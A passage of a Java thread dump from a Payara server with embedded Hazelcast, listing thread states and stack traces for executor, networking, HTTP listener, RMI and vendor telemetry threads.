java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-5" #46 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Executor-Service-5" #125 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-out-1" #78 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"GF Domain XML" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21c44707 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-in-1" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"CM Configuration Updater" #139 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@61296d37 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #147 [WAITING] on java.lang.ref.ReferenceQueue$Lock@53adeb18 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.migration" #66 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3666378d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"payara-executor-service-scheduled-task" #131 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketConnect(Native Method) + at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350) + at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206) + at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188) + at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) + at java.net.Socket.connect(Socket.java:613) + at sun.net.NetworkClient.doConnect(NetworkClient.java:175) + at sun.net.www.http.HttpClient.openServer(HttpClient.java:465) + at sun.net.www.http.HttpClient.openServer(HttpClient.java:560) + at sun.net.www.http.HttpClient.(HttpClient.java:244) + at sun.net.www.http.HttpClient.New(HttpClient.java:341) + at sun.net.www.http.HttpClient.New(HttpClient.java:359) + at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1248) + at sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1182) + at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1076) + at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1010) + at sun.net.www.protocol.http.HttpURLConnection.followRedirect0(HttpURLConnection.java:2788) + at sun.net.www.protocol.http.HttpURLConnection.followRedirect(HttpURLConnection.java:2700) + at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1862) + at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1520) + at java.net.HttpURLConnection.getResponseCode(HttpURLConnection.java:480) + at fish.payara.nucleus.phonehome.PhoneHomeTask.send(PhoneHomeTask.java:164) + at fish.payara.nucleus.phonehome.PhoneHomeTask.run(PhoneHomeTask.java:76) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #138 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"hz.flamboyant_pascal.cached.thread-1" #69 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@14c71a4a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-listener-1-kernel(1) SelectorRunner" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-12" #116 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-192.168.215.4" #150 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:476) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:470) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1373) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:73) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:982) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1661/2062436826.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.event-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@75b12ad1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.flamboyant_pascal.IO.thread-in-0" #74 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #118 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:750) + +"GF Domain XML" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c1d1d7f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool::http-listener-1(3)" #90 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e904c67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Executor-Service-4" #124 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.TcpServer.thread-4" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b0161e4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Logging output pump" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8d35cb5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"Executor-Service-1" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"SCR Component Actor" #159 daemon [WAITING] on java.util.LinkedList@5082ca66 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.event-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27ceeb9c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"Logging output pump" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9df45 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"fileinstall-/usr/local/payara5/glassfish/domains/domain1/autodeploy/" #153 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"EventAdminAsyncThread #9" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.cached.thread-4" #86 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketConnect(Native Method) + at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350) + at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206) + at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188) + at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) + at java.net.Socket.connect(Socket.java:613) + at sun.net.NetworkClient.doConnect(NetworkClient.java:175) + at sun.net.www.http.HttpClient.openServer(HttpClient.java:465) + at sun.net.www.http.HttpClient.openServer(HttpClient.java:560) + at sun.net.www.http.HttpClient.(HttpClient.java:244) + at sun.net.www.http.HttpClient.New(HttpClient.java:341) + at sun.net.www.http.HttpClient.New(HttpClient.java:359) + at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1248) + at sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1182) + at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1076) + at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1010) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:88) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:76) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:143) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:132) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:80) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1266/1665154698.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FelixResolver-5" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool::http-listener-2(5)" #100 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@55811539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-out-2" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@5af6c5e2]" #163 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1069278 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #149 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3dcf4c6b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"FelixResolver-9" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-6" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Executor-Service-3" #123 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at 